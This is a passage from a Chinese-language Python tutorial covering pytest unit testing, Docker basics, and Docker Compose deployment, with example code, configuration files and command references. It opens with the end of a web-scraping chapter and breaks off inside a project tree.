  • 礼貌爬虫:请求之间加延迟,避免给服务器造成压力
Playwright vs Selenium
特性PlaywrightSelenium
速度快慢
自动等待内置需要手动实现
API 设计简洁现代较旧
浏览器支持Chromium/Firefox/WebKit所有主流浏览器
社区生态快速成长成熟庞大
学习曲线简单中等
常见错误总结
  • 忘记安装浏览器:首次使用要运行 playwright install chromium
  • 元素定位失败:页面还没加载完就操作元素,用 wait_for_selector 等待
  • 内存泄漏:用完浏览器要关闭,建议用 with 语句
  • 被反爬检测:设置 user_agent、禁用 webdriver 特征
  • 并发过高:同时打开太多页面会导致内存不足
  • 忘记 wait_for_timeout:连续请求要加延迟,避免被封 IP

第四十三章:单元测试(pytest)——写出可靠的代码

本章导览

不写测试的代码就像不系安全带开车——平时没事,出事就是大事。单元测试能帮你在代码上线前发现 bug,重构时不怕改坏,协作时有信心。pytest 是 Python 最流行的测试框架,本章从零开始教你写出专业级的测试代码。

43.1 为什么要写测试?

生活类比

你写了一份简历(代码),自己检查觉得没问题。但如果让朋友帮你看看(测试),可能会发现错别字、逻辑不通的地方。测试就是"让别人帮你检查代码"——只不过这个"别人"是自动化程序。

单元测试
测试单个函数或类的方法,确保每个"零件"都正常工作
集成测试
测试多个模块组合在一起是否正常工作
端到端测试
模拟真实用户操作,测试整个系统
# 没有测试的代码——上线后才发现 bug
def calculate_discount(price, discount):
    return price * discount  # ❌ 应该是 (1 - discount)

# 用户下单后才发现:100元商品打8折,应该收80元,结果收了80元...
# 等等,这个例子好像没错?但如果 discount 传 0.8 呢?
# calculate_discount(100, 0.8) = 80  ✓ 正确
# calculate_discount(100, 20)  = 2000 ❌ 传了百分比不是小数

# 有测试的代码——上线前就发现问题
import pytest

def calculate_discount(price, discount):
    return price * (1 - discount)

def test_calculate_discount():
    assert calculate_discount(100, 0.2) == 80   # 打8折
    assert calculate_discount(200, 0.5) == 100  # 打5折
    assert calculate_discount(100, 0) == 100    # 不打折
    assert calculate_discount(100, 1) == 0      # 全额折扣

43.2 pytest 快速入门

# 安装
# pip install pytest

# 第一个测试文件:test_calculator.py
def add(a, b):
    return a + b

def subtract(a, b):
    return a - b

# 测试函数以 test_ 开头
def test_add():
    assert add(1, 2) == 3
    assert add(-1, 1) == 0
    assert add(0, 0) == 0

def test_subtract():
    assert subtract(5, 3) == 2
    assert subtract(10, 20) == -10

# 运行测试
# pytest                      # 运行所有测试
# pytest test_calculator.py   # 运行指定文件
# pytest -v                   # 显示详细信息
# pytest -v -k "test_add"     # 只运行名称包含 test_add 的测试
# pytest --tb=short           # 简化错误输出
pytest 命名规则
  • 测试文件以 test_ 开头或 _test.py 结尾
  • 测试函数以 test_ 开头
  • 测试类以 Test 开头
  • 测试方法以 test_ 开头

43.3 断言详解

import pytest

# ===== 基本断言 =====
def test_basic_assert():
    assert 1 + 1 == 2           # 相等
    assert "hello" in "hello world"  # 包含
    assert [1, 2, 3]            # 非空
    assert not False            # 取反
    assert None is None         # 身份

# ===== 比较断言 =====
def test_comparison():
    assert 10 > 5
    assert 3.14 >= 3.14
    assert "abc" < "def"

# ===== 异常断言 =====
def test_exception():
    with pytest.raises(ZeroDivisionError):
        1 / 0

    with pytest.raises(ValueError, match="不能为负"):
        def check_age(age):
            if age < 0:
                raise ValueError("年龄不能为负")
        check_age(-1)

# ===== 浮点数断言(避免精度问题)=====
def test_float():
    assert 0.1 + 0.2 == pytest.approx(0.3)
    assert 1.0000001 == pytest.approx(1.0, abs=1e-6)

# ===== 集合断言 =====
def test_collections():
    assert set([1, 2, 3]) == set([3, 2, 1])  # 集合相等
    assert [1, 2, 3] == [1, 2, 3]             # 列表相等
    assert {"a": 1} == {"a": 1}               # 字典相等

43.4 fixture——测试前置/后置

import pytest
import tempfile
import os

# fixture:测试前的准备工作
@pytest.fixture
def sample_data():
    """提供测试数据"""
    return {"name": "张三", "age": 18, "scores": [90, 85, 92]}

@pytest.fixture
def temp_file():
    """创建临时文件,测试后自动清理"""
    # 前置:创建文件
    with tempfile.NamedTemporaryFile(mode='w', suffix='.txt', delete=False) as f:
        f.write("测试数据")
        filepath = f.name

    yield filepath  # yield 之前的代码在测试前执行

    # 后置:清理文件
    os.unlink(filepath)  # yield 之后的代码在测试后执行

@pytest.fixture
def db_connection():
    """数据库连接 fixture"""
    conn = create_connection()
    conn.begin_transaction()
    yield conn
    conn.rollback()  # 测试后回滚,不影响数据库
    conn.close()

# 使用 fixture
def test_user_name(sample_data):
    assert sample_data["name"] == "张三"

def test_user_age(sample_data):
    assert sample_data["age"] == 18

def test_file_content(temp_file):
    with open(temp_file, 'r') as f:
        content = f.read()
    assert content == "测试数据"

# fixture 作用域
@pytest.fixture(scope="session")  # 整个测试会话只执行一次
def app():
    return create_app()

@pytest.fixture(scope="module")   # 每个模块执行一次
def db():
    return create_db()

@pytest.fixture(scope="function") # 每个函数执行一次(默认)
def user():
    return create_user()

43.5 参数化测试

import pytest

def is_palindrome(s):
    """判断是否是回文"""
    s = s.lower().replace(" ", "")
    return s == s[::-1]

# 参数化:一组测试多组数据
@pytest.mark.parametrize("input,expected", [
    ("aba", True),
    ("abcba", True),
    ("abc", False),
    ("", True),
    ("a", True),
    ("A man a plan a canal Panama", True),
])
def test_is_palindrome(input, expected):
    assert is_palindrome(input) == expected

# 多参数组合
@pytest.mark.parametrize("a", [1, 2, 3])
@pytest.mark.parametrize("b", [10, 20])
def test_multiplication(a, b):
    assert a * b == a * b  # 测试 6 种组合

# 参数化 + ids(自定义测试名称)
@pytest.mark.parametrize("username,expected", [
    pytest.param("admin", True, id="管理员"),
    pytest.param("user1", True, id="普通用户"),
    pytest.param("", False, id="空用户名"),
], ids=str)
def test_username_validation(username, expected):
    assert bool(username) == expected

43.6 测试异常

import pytest

class InsufficientFundsError(Exception):
    pass

class BankAccount:
    def __init__(self, balance=0):
        self.balance = balance

    def withdraw(self, amount):
        if amount <= 0:
            raise ValueError("取款金额必须大于0")
        if amount > self.balance:
            raise InsufficientFundsError(f"余额不足:当前余额 {self.balance}")
        self.balance -= amount
        return self.balance

def test_withdraw_success():
    account = BankAccount(100)
    assert account.withdraw(30) == 70
    assert account.withdraw(70) == 0

def test_withdraw_invalid_amount():
    account = BankAccount(100)
    with pytest.raises(ValueError, match="必须大于0"):
        account.withdraw(0)

    with pytest.raises(ValueError, match="必须大于0"):
        account.withdraw(-10)

def test_withdraw_insufficient_funds():
    account = BankAccount(50)
    with pytest.raises(InsufficientFundsError, match="余额不足"):
        account.withdraw(100)

# 测试异常信息
def test_exception_message():
    with pytest.raises(ValueError) as exc_info:
        int("abc")
    assert "invalid literal" in str(exc_info.value)

43.7 mock 打桩——模拟外部依赖

from unittest.mock import Mock, patch, MagicMock
import pytest

# 模拟外部 API 调用
class WeatherService:
    def get_temperature(self, city):
        # 实际会调用天气 API
        import requests
        response = requests.get(f"https://api.weather.com/{city}")
        return response.json()["temperature"]

class WeatherApp:
    def __init__(self, service):
        self.service = service

    def is_hot(self, city, threshold=30):
        temp = self.service.get_temperature(city)
        return temp > threshold

# 使用 Mock 测试
def test_is_hot():
    # 创建 mock 对象
    mock_service = Mock()
    mock_service.get_temperature.return_value = 35

    # 注入 mock
    app = WeatherApp(mock_service)

    # 测试
    assert app.is_hot("北京") == True

    # 验证 mock 被调用
    mock_service.get_temperature.assert_called_once_with("北京")

def test_is_not_hot():
    mock_service = Mock()
    mock_service.get_temperature.return_value = 20

    app = WeatherApp(mock_service)
    assert app.is_hot("北京") == False

# 使用 patch 装饰器
@patch("requests.get")
def test_api_call(mock_get):
    # 配置 mock 返回值
    mock_response = Mock()
    mock_response.json.return_value = {"temperature": 25}
    mock_response.status_code = 200
    mock_get.return_value = mock_response

    # 调用被测代码
    import requests
    result = requests.get("https://api.weather.com/beijing")

    # 验证
    assert result.json()["temperature"] == 25
    mock_get.assert_called_once()

# mock 多次调用返回不同值
def test_multiple_calls():
    mock_service = Mock()
    mock_service.get_temperature.side_effect = [20, 35, 25]

    app = WeatherApp(mock_service)
    assert app.is_hot("城市1") == False  # 20
    assert app.is_hot("城市2") == True   # 35
    assert app.is_hot("城市3") == False  # 25

# mock 抛出异常
def test_api_error():
    mock_service = Mock()
    mock_service.get_temperature.side_effect = ConnectionError("网络错误")

    app = WeatherApp(mock_service)
    with pytest.raises(ConnectionError):
        app.is_hot("北京")

43.8 测试覆盖率(coverage)

# 安装
# pip install pytest-cov

# 运行测试并生成覆盖率报告
# pytest --cov=myapp                    # 命令行报告
# pytest --cov=myapp --cov-report=html  # HTML 报告
# pytest --cov=myapp --cov-report=term-missing  # 显示未覆盖的行

# 示例:被测代码
# calculator.py
def divide(a, b):
    if b == 0:
        raise ValueError("除数不能为零")
    return a / b

# 测试文件
# test_calculator.py
import pytest
from calculator import divide

def test_divide():
    assert divide(10, 2) == 5.0
    assert divide(9, 3) == 3.0

def test_divide_by_zero():
    with pytest.raises(ValueError):
        divide(10, 0)

# 覆盖率报告示例:
# Name              Stmts   Miss  Cover   Missing
# -----------------------------------------------
# calculator.py         4      0   100%
# -----------------------------------------------
# TOTAL                 4      0   100%

# 在代码中排除不需要测试的行
def function_that_should_not_be_tested():  # pragma: no cover
    pass

43.9 测试目录结构与最佳实践

# 推荐的项目结构
myproject/
├── src/
│   └── myapp/
│       ├── __init__.py
│       ├── models.py
│       ├── services.py
│       └── utils.py
├── tests/
│   ├── __init__.py
│   ├── conftest.py          # 共享的 fixture
│   ├── test_models.py
│   ├── test_services.py
│   └── test_utils.py
├── pytest.ini               # pytest 配置
└── pyproject.toml

# pytest.ini 配置
[pytest]
testpaths = tests
python_files = test_*.py
python_classes = Test*
python_functions = test_*
addopts = -v --tb=short --cov=myapp --cov-report=term-missing

# conftest.py:共享 fixture
import pytest

@pytest.fixture
def sample_user():
    return {"id": 1, "name": "张三", "email": "test@example.com"}

@pytest.fixture
def authenticated_client(client, sample_user):
    client.login(sample_user)
    return client
测试最佳实践
  • 测试独立:每个测试互不依赖,可以单独运行
  • 测试可重复:多次运行结果一致,不依赖外部状态
  • 测试快速:单元测试应该毫秒级完成
  • 测试命名清晰:test_函数名_场景_预期结果
  • 一个测试一个断言:每个测试只验证一个行为
  • 测试边界条件:空值、零值、最大值、负数
  • 覆盖率 80% 以上:核心逻辑 100%,工具函数可以低一些

43.10 实战:为 FastAPI 项目写测试

# 安装
# pip install pytest httpx

# app.py
from fastapi import FastAPI, HTTPException
from pydantic import BaseModel

app = FastAPI()

class User(BaseModel):
    name: str
    age: int

users_db = {}

@app.post("/users", status_code=201)
def create_user(user: User):
    user_id = len(users_db) + 1
    users_db[user_id] = {"id": user_id, **user.dict()}
    return users_db[user_id]

@app.get("/users/{user_id}")
def get_user(user_id: int):
    if user_id not in users_db:
        raise HTTPException(status_code=404, detail="用户不存在")
    return users_db[user_id]

@app.delete("/users/{user_id}", status_code=204)
def delete_user(user_id: int):
    if user_id not in users_db:
        raise HTTPException(status_code=404, detail="用户不存在")
    del users_db[user_id]

# test_app.py
import pytest
from httpx import AsyncClient, ASGITransport
from app import app, users_db

@pytest.fixture(autouse=True)
def clear_db():
    """每个测试前清空数据库"""
    users_db.clear()
    yield

@pytest.fixture
def client():
    transport = ASGITransport(app=app)
    return AsyncClient(transport=transport, base_url="http://test")

@pytest.mark.anyio
async def test_create_user(client):
    response = await client.post("/users", json={"name": "张三", "age": 18})
    assert response.status_code == 201
    data = response.json()
    assert data["name"] == "张三"
    assert data["age"] == 18
    assert "id" in data

@pytest.mark.anyio
async def test_get_user(client):
    # 先创建用户
    create_response = await client.post("/users", json={"name": "张三", "age": 18})
    user_id = create_response.json()["id"]

    # 查询用户
    response = await client.get(f"/users/{user_id}")
    assert response.status_code == 200
    assert response.json()["name"] == "张三"

@pytest.mark.anyio
async def test_get_user_not_found(client):
    response = await client.get("/users/999")
    assert response.status_code == 404

@pytest.mark.anyio
async def test_delete_user(client):
    # 先创建
    create_response = await client.post("/users", json={"name": "张三", "age": 18})
    user_id = create_response.json()["id"]

    # 删除
    response = await client.delete(f"/users/{user_id}")
    assert response.status_code == 204

    # 验证已删除
    response = await client.get(f"/users/{user_id}")
    assert response.status_code == 404

# 运行:pytest test_app.py -v
常见错误总结
  • 测试依赖外部服务:用 mock 模拟 API、数据库等外部依赖
  • 测试之间有依赖:每个测试应该独立,用 fixture 清理状态
  • 测试太慢:避免在单元测试中调用真实 API 或数据库
  • 断言太弱:assert result 不如 assert result == expected
  • 不测边界条件:空值、零值、负数、超大值都要测
  • 覆盖率迷信:100% 覆盖率不代表没有 bug,关键是测试质量

第四十四章:Docker 入门——容器化基础

本章导览

"在我的电脑上能跑啊!"——这是程序员最头疼的问题。Docker 通过容器化技术,让你的应用带上所有依赖一起打包,无论在哪台电脑上都能完美运行。本章从零开始教你 Docker 的安装、基本操作和 Python 项目容器化。

44.1 什么是 Docker?为什么用容器?

生活类比

想象你要搬家(部署应用)。传统方式是把家具一件件搬过去,到了新家发现尺寸不对、插座不匹配(环境差异)。Docker 就是把整个房间打包成一个"集装箱"——家具、装修、电器全在里面,搬到哪里都一样。

镜像(Image)
只读的模板,包含运行应用所需的一切(代码、运行时、库、配置)
容器(Container)
镜像的运行实例,可以启动、停止、删除,彼此隔离
Dockerfile
构建镜像的"配方",定义了如何打包应用
Docker Hub
镜像仓库,可以拉取别人做好的镜像,也可以上传自己的

44.2 安装 Docker

Windows 安装

1
下载 Docker Desktop:https://www.docker.com/products/docker-desktop
2
运行安装程序,勾选 "Use WSL 2 instead of Hyper-V"
3
安装完成后重启电脑
4
打开 Docker Desktop,等待右下角图标变绿
5
打开终端,输入 docker --version 验证安装

macOS 安装

# 方式一:下载 Docker Desktop(推荐)
# https://www.docker.com/products/docker-desktop

# 方式二:Homebrew 安装
brew install --cask docker

# 验证安装
docker --version
docker-compose --version

Linux 安装(Ubuntu)

# 安装依赖
sudo apt update
sudo apt install apt-transport-https ca-certificates curl software-properties-common

# 添加 Docker 官方 GPG 密钥
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg

# 添加 Docker 仓库
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null

# 安装 Docker
sudo apt update
sudo apt install docker-ce docker-ce-cli containerd.io

# 将当前用户加入 docker 组(免 sudo)
sudo usermod -aG docker $USER

# 验证安装
docker --version
docker run hello-world

44.3 镜像操作

# ===== 搜索镜像 =====
docker search python          # 搜索 Python 相关镜像
docker search nginx           # 搜索 Nginx 镜像

# ===== 拉取镜像 =====
docker pull python:3.11       # 拉取 Python 3.11 镜像
docker pull nginx:latest      # 拉取最新版 Nginx
docker pull mysql:8.0         # 拉取 MySQL 8.0

# ===== 查看本地镜像 =====
docker images                 # 列出所有本地镜像
docker images python          # 列出 Python 相关镜像

# 输出示例:
# REPOSITORY   TAG       IMAGE ID       CREATED        SIZE
# python       3.11      a1b2c3d4e5f6   2 weeks ago    1.01GB
# nginx        latest    f6e7g8h9i0j1   3 weeks ago    133MB

# ===== 删除镜像 =====
docker rmi python:3.11        # 删除指定镜像
docker rmi $(docker images -q)  # 删除所有镜像(慎用!)

# ===== 镜像详情 =====
docker inspect python:3.11    # 查看镜像详细信息
docker history python:3.11    # 查看镜像构建历史

44.4 容器操作

# ===== 运行容器 =====
docker run python:3.11                    # 运行后立即退出
docker run -it python:3.11 bash           # 交互模式,进入 bash
docker run -d python:3.11 sleep 3600      # 后台运行(-d 守护进程)

# ===== 查看容器 =====
docker ps                                 # 查看运行中的容器
docker ps -a                              # 查看所有容器(包括已停止的)

# 输出示例:
# CONTAINER ID   IMAGE         COMMAND   CREATED        STATUS        NAMES
# a1b2c3d4e5f6   python:3.11   "bash"    5 seconds ago  Up 5 seconds  clever_turing

# ===== 进入运行中的容器 =====
docker exec -it a1b2c3d4e5f6 bash         # 进入容器的 bash
docker exec -it a1b2c3d4e5f6 python       # 进入容器的 Python

# ===== 停止和启动 =====
docker stop a1b2c3d4e5f6                  # 停止容器
docker start a1b2c3d4e5f6                 # 启动已停止的容器
docker restart a1b2c3d4e5f6               # 重启容器

# ===== 删除容器 =====
docker rm a1b2c3d4e5f6                    # 删除已停止的容器
docker rm -f a1b2c3d4e5f6                 # 强制删除运行中的容器
docker container prune                    # 删除所有已停止的容器

# ===== 查看日志 =====
docker logs a1b2c3d4e5f6                  # 查看容器日志
docker logs -f a1b2c3d4e5f6               # 实时查看日志(类似 tail -f)
docker logs --tail 100 a1b2c3d4e5f6       # 查看最后100行日志

44.5 Dockerfile——构建自己的镜像

# Dockerfile 示例:构建 Python 应用镜像

# 基础镜像
FROM python:3.11-slim

# 设置工作目录
WORKDIR /app

# 设置环境变量(Python 不缓冲输出,方便查看日志)
ENV PYTHONUNBUFFERED=1

# 安装依赖(先复制依赖文件,利用缓存)
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt

# 复制应用代码
COPY . .

# 暴露端口
EXPOSE 8000

# 启动命令
CMD ["python", "app.py"]

# ===== 构建镜像 =====
# docker build -t myapp:1.0 .

# ===== 运行容器 =====
# docker run -p 8000:8000 myapp:1.0
Dockerfile 指令详解
指令作用示例
FROM基础镜像FROM python:3.11-slim
WORKDIR设置工作目录WORKDIR /app
COPY复制文件到镜像COPY . .
RUN执行命令RUN pip install -r requirements.txt
EXPOSE声明端口EXPOSE 8000
CMD容器启动命令CMD ["python", "app.py"]
ENV设置环境变量ENV APP_ENV=production
ARG构建参数ARG VERSION=1.0
ENTRYPOINT容器入口点ENTRYPOINT ["python"]

44.6 Python 项目镜像构建实战

# 项目结构
myproject/
├── app.py
├── requirements.txt
├── Dockerfile
└── .dockerignore

# app.py
from fastapi import FastAPI
import uvicorn

app = FastAPI()

@app.get("/")
def read_root():
    return {"message": "Hello from Docker!"}

@app.get("/health")
def health_check():
    return {"status": "healthy"}

if __name__ == "__main__":
    uvicorn.run(app, host="0.0.0.0", port=8000)

# requirements.txt
fastapi==0.104.1
uvicorn==0.24.0

# .dockerignore(排除不需要的文件)
__pycache__
*.pyc
*.pyo
.git
.gitignore
.env
.venv
venv
tests/
*.md

# Dockerfile
FROM python:3.11-slim

WORKDIR /app

COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt

COPY . .

EXPOSE 8000

CMD ["uvicorn", "app:app", "--host", "0.0.0.0", "--port", "8000"]

# ===== 构建并运行 =====
# docker build -t myfastapi:1.0 .
# docker run -p 8000:8000 myfastapi:1.0
# 访问 http://localhost:8000

44.7 端口映射与环境变量

# ===== 端口映射 =====
# -p 宿主机端口:容器端口
docker run -p 8000:8000 myapp:1.0       # 访问 localhost:8000
docker run -p 3000:8000 myapp:1.0       # 访问 localhost:3000(映射到容器的8000)
docker run -p 8000-8010:8000 myapp:1.0  # 端口范围映射

# 多个端口映射
docker run -p 8000:8000 -p 8443:8443 myapp:1.0

# ===== 环境变量 =====
# 方式一:-e 参数
docker run -e APP_ENV=production -e DEBUG=false myapp:1.0

# 方式二:从文件读取
# .env 文件内容:
# APP_ENV=production
# DEBUG=false
# DB_HOST=mysql

docker run --env-file .env myapp:1.0

# 方式三:Dockerfile 中设置默认值
# ENV APP_ENV=development
# ENV DEBUG=true

# 在 Python 中读取环境变量
# import os
# app_env = os.getenv("APP_ENV", "development")
Docker 最佳实践
  • 使用 slim 镜像:python:3.11-slim 比 python:3.11 小很多
  • 利用构建缓存:先复制 requirements.txt,再复制代码
  • 使用 .dockerignore:排除不需要的文件,减小镜像体积
  • 一个容器一个进程:不要在一个容器里运行多个服务
  • 不要用 root 用户:创建专用用户运行应用
  • 多阶段构建:编译阶段和运行阶段分开,减小最终镜像
常见错误总结
  • 忘记 .dockerignore:把 .git、venv 等打包进镜像,体积暴增
  • 缓存失效:COPY . . 会导致每次构建都重新安装依赖
  • 端口冲突:宿主机端口已被占用,换一个端口
  • 容器内文件修改不持久:容器删除后数据丢失,用数据卷持久化
  • 镜像太大:用 slim 基础镜像 + 多阶段构建
  • CMD 和 ENTRYPOINT 混淆:CMD 可被覆盖,ENTRYPOINT 不可被覆盖

第四十五章:Docker 进阶——Compose 与部署

本章导览

上一章学会了单个容器的操作,但实际项目往往需要多个服务配合(Python 应用 + MySQL + Redis + Nginx)。Docker Compose 让你用一个配置文件管理多个容器,一键启动整个项目。本章还会教你数据卷、网络、多阶段构建和生产环境部署。

45.1 Docker Compose 简介与安装

# Docker Compose 用于定义和运行多容器应用

# 安装(Docker Desktop 自带)
# 验证安装
docker-compose --version
# 或
docker compose version

# 基本命令
docker-compose up              # 启动所有服务
docker-compose up -d           # 后台启动
docker-compose down            # 停止并删除所有容器
docker-compose ps              # 查看运行状态
docker-compose logs            # 查看日志
docker-compose logs -f         # 实时查看日志
docker-compose build           # 重新构建镜像
docker-compose restart         # 重启所有服务

45.2 docker-compose.yml 语法详解

# docker-compose.yml 完整示例

version: '3.8'

services:
  # Web 应用
  web:
    build: .                        # 从当前目录构建
    container_name: myapp-web       # 容器名称
    ports:
      - "8000:8000"                 # 端口映射
    environment:
      - APP_ENV=production
      - DB_HOST=db
      - DB_PORT=3306
      - REDIS_HOST=redis
    env_file:
      - .env                        # 从文件读取环境变量
    volumes:
      - ./app:/app                  # 挂载代码目录(开发用)
      - ./logs:/app/logs            # 挂载日志目录
    depends_on:
      - db                          # 依赖 db 服务
      - redis                       # 依赖 redis 服务
    networks:
      - app-network                 # 加入网络
    restart: always                 # 总是重启
    healthcheck:                    # 健康检查
      test: ["CMD", "curl", "-f", "http://localhost:8000/health"]
      interval: 30s
      timeout: 10s
      retries: 3

  # MySQL 数据库
  db:
    image: mysql:8.0
    container_name: myapp-db
    environment:
      MYSQL_ROOT_PASSWORD: root123
      MYSQL_DATABASE: myapp
      MYSQL_USER: appuser
      MYSQL_PASSWORD: apppass
    ports:
      - "3306:3306"
    volumes:
      - mysql-data:/var/lib/mysql    # 数据持久化
      - ./init.sql:/docker-entrypoint-initdb.d/init.sql  # 初始化脚本
    networks:
      - app-network

  # Redis 缓存
  redis:
    image: redis:7-alpine
    container_name: myapp-redis
    ports:
      - "6379:6379"
    volumes:
      - redis-data:/data
    command: redis-server --appendonly yes  # 开启持久化
    networks:
      - app-network

  # Nginx 反向代理
  nginx:
    image: nginx:alpine
    container_name: myapp-nginx
    ports:
      - "80:80"
      - "443:443"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf:ro
      - ./ssl:/etc/nginx/ssl:ro
    depends_on:
      - web
    networks:
      - app-network

# 数据卷
volumes:
  mysql-data:                       # 命名卷
  redis-data:

# 网络
networks:
  app-network:
    driver: bridge

45.3 多容器编排(Python + MySQL + Redis)

# 项目结构
myproject/
├── app/
│   ├── __init__.py
│   ├── main.py
│   ├── models.py
│   └── config.py
├── requirements.txt
├── Dockerfile
├── docker-compose.yml
├── .env
└── init.sql

# app/config.py
import os

class Config:
    DB_HOST = os.getenv("DB_HOST", "localhost")
    DB_PORT = int(os.getenv("DB_PORT", 3306))
    DB_USER = os.getenv("DB_USER", "appuser")
    DB_PASSWORD = os.getenv("DB_PASSWORD", "apppass")
    DB_NAME = os.getenv("DB_NAME", "myapp")
    REDIS_HOST = os.getenv("REDIS_HOST", "localhost")
    REDIS_PORT = int(os.getenv("REDIS_PORT", 6379))

# app/main.py
from fastapi import FastAPI
import redis
import pymysql
from config import Config

app = FastAPI()

# 连接 Redis
r = redis.Redis(
    host=Config.REDIS_HOST,
    port=Config.REDIS_PORT,
    decode_responses=True
)

# 连接 MySQL
def get_db():
    return pymysql.connect(
        host=Config.DB_HOST,
        port=Config.DB_PORT,
        user=Config.DB_USER,
        password=Config.DB_PASSWORD,
        database=Config.DB_NAME,
        charset='utf8mb4'
    )

@app.get("/")
def read_root():
    return {"message": "Hello from Docker Compose!"}

@app.get("/cache/{key}")
def get_cache(key: str):
    value = r.get(key)
    return {"key": key, "value": value}

@app.post("/cache/{key}")
def set_cache(key: str, value: str):
    r.set(key, value, ex=3600)
    return {"message": "缓存已设置"}

@app.get("/db/users")
def get_users():
    conn = get_db()
    cursor = conn.cursor()
    cursor.execute("SELECT * FROM users")
    users = cursor.fetchall()
    conn.close()
    return {"users": users}

# 启动命令
# docker-compose up -d
# 访问 http://localhost:8000
# 访问 http://localhost:8000/docs 查看 API 文档

45.4 数据卷——持久化存储

# ===== 命名卷(推荐)=====
# 由 Docker 管理,数据存储在 Docker 目录中
volumes:
  mysql-data:
  redis-data:

services:
  db:
    image: mysql:8.0
    volumes:
      - mysql-data:/var/lib/mysql  # 命名卷

# ===== 绑定挂载 =====
# 将宿主机目录挂载到容器(开发环境常用)
services:
  web:
    volumes:
      - ./app:/app                 # 宿主机目录:容器目录
      - ./config:/app/config:ro    # :ro 只读挂载

# ===== tmpfs 挂载 =====
# 存储在内存中,容器停止后数据丢失
services:
  web:
    tmpfs:
      - /tmp                       # 临时文件用内存存储

# ===== 数据卷操作 =====
docker volume ls                   # 列出所有卷
docker volume inspect mysql-data   # 查看卷详情
docker volume rm mysql-data        # 删除卷
docker volume prune                # 删除未使用的卷

45.5 Docker 网络

# ===== 网络类型 =====

# bridge(默认):容器之间通过容器名访问
networks:
  app-network:
    driver: bridge

# host:容器直接使用宿主机网络(性能最好,但端口冲突)
services:
  web:
    network_mode: host

# none:无网络(完全隔离)
services:
  web:
    network_mode: none

# ===== 容器间通信 =====
# 在同一个网络中的容器可以通过服务名访问
services:
  web:
    networks:
      - app-network
  db:
    networks:
      - app-network

# web 容器中可以直接用 "db" 作为主机名访问数据库
# pymysql.connect(host="db", port=3306, ...)

# ===== 自定义网络 =====
docker network create my-network      # 创建网络
docker network ls                      # 列出网络
docker network inspect my-network      # 查看网络详情
docker network rm my-network           # 删除网络

# 将容器加入网络
docker network connect my-network my-container
docker network disconnect my-network my-container

45.6 多阶段构建——减小镜像体积

# 多阶段构建:编译阶段和运行阶段分开

# 阶段一:构建(包含编译工具)
FROM python:3.11 AS builder

WORKDIR /app

# 安装编译依赖
RUN apt-get update && apt-get install -y \
    gcc \
    g++ \
    && rm -rf /var/lib/apt/lists/*

# 安装 Python 依赖
COPY requirements.txt .
RUN pip install --no-cache-dir --prefix=/install -r requirements.txt

# 阶段二:运行(只包含运行时)
FROM python:3.11-slim

WORKDIR /app

# 从构建阶段复制安装好的依赖
COPY --from=builder /install /usr/local

# 复制应用代码
COPY . .

# 创建非 root 用户
RUN useradd -m -u 1000 appuser
USER appuser

EXPOSE 8000

CMD ["uvicorn", "app:app", "--host", "0.0.0.0", "--port", "8000"]

# 构建
# docker build -t myapp:slim .

# 对比镜像大小
# myapp:latest    约 1.2GB(完整 Python 镜像)
# myapp:slim      约 200MB(多阶段构建)

45.7 Docker 日志与监控

# ===== 查看日志 =====
docker logs my-container                # 查看所有日志
docker logs -f my-container             # 实时查看
docker logs --tail 100 my-container     # 最后100行
docker logs --since 1h my-container     # 最近1小时
docker logs --since 2024-01-01 my-container  # 指定日期后

# ===== 日志驱动 =====
# docker-compose.yml
services:
  web:
    logging:
      driver: json-file    # 默认,存储为 JSON 文件
      options:
        max-size: "10m"    # 单个文件最大 10MB
        max-file: "3"      # 最多保留 3 个文件

# ===== 容器资源监控 =====
docker stats                            # 实时监控所有容器
docker stats my-container               # 监控指定容器

# 输出示例:
# CONTAINER   CPU %   MEM USAGE / LIMIT   MEM %   NET I/O       BLOCK I/O
# myapp       0.50%   128MiB / 1GiB       12.80%  1.2kB / 0B    0B / 0B

# ===== 容器内进程 =====
docker top my-container                 # 查看容器内进程
docker exec my-container ps aux         # 更详细的进程信息

# ===== 容器资源限制 =====
# docker-compose.yml
services:
  web:
    deploy:
      resources:
        limits:
          cpus: '0.50'      # 最多使用 50% CPU
          memory: 512M       # 最多使用 512MB 内存
        reservations:
          cpus: '0.25'      # 预留 25% CPU
          memory: 256M       # 预留 256MB 内存

45.8 生产环境部署最佳实践

# ===== 生产环境 Dockerfile =====
FROM python:3.11-slim AS builder

WORKDIR /app
COPY requirements.txt .
RUN pip install --no-cache-dir --prefix=/install -r requirements.txt

FROM python:3.11-slim

# 安全:创建非 root 用户
RUN useradd -m -u 1000 -s /bin/bash appuser

WORKDIR /app

# 复制依赖
COPY --from=builder /install /usr/local

# 复制代码
COPY --chown=appuser:appuser . .

# 切换用户
USER appuser

# 健康检查
HEALTHCHECK --interval=30s --timeout=10s --start-period=5s --retries=3 \
    CMD curl -f http://localhost:8000/health || exit 1

EXPOSE 8000

# 使用 gunicorn + uvicorn(生产级 ASGI 服务器)
CMD ["gunicorn", "app:app", "-w", "4", "-k", "uvicorn.workers.UvicornWorker", "--bind", "0.0.0.0:8000"]

# ===== 生产环境 docker-compose.yml =====
version: '3.8'

services:
  web:
    build: .
    image: myapp:latest
    deploy:
      replicas: 3              # 3个副本
      resources:
        limits:
          cpus: '1.0'
          memory: 512M
    ports:
      - "8000:8000"
    environment:
      - APP_ENV=production
    env_file:
      - .env.production
    restart: always
    logging:
      driver: json-file
      options:
        max-size: "10m"
        max-file: "3"

  nginx:
    image: nginx:alpine
    ports:
      - "80:80"
      - "443:443"
    volumes:
      - ./nginx/nginx.conf:/etc/nginx/nginx.conf:ro
      - ./nginx/ssl:/etc/nginx/ssl:ro
    depends_on:
      - web
    restart: always

# ===== 部署流程 =====
# 1. 拉取代码
git pull origin main

# 2. 构建镜像
docker-compose build

# 3. 停止旧容器
docker-compose down

# 4. 启动新容器
docker-compose up -d

# 5. 查看状态
docker-compose ps
docker-compose logs -f

45.9 实战:部署 FastAPI + Redis + MySQL 项目

# 完整项目结构
fastapi-docker-project/
├── app/
│   ├── __init__.py
│   ├── main.py
│   ├── models.py
│   ├── routes/
│   │   ├── __init__.py
│   │   ├── users.py
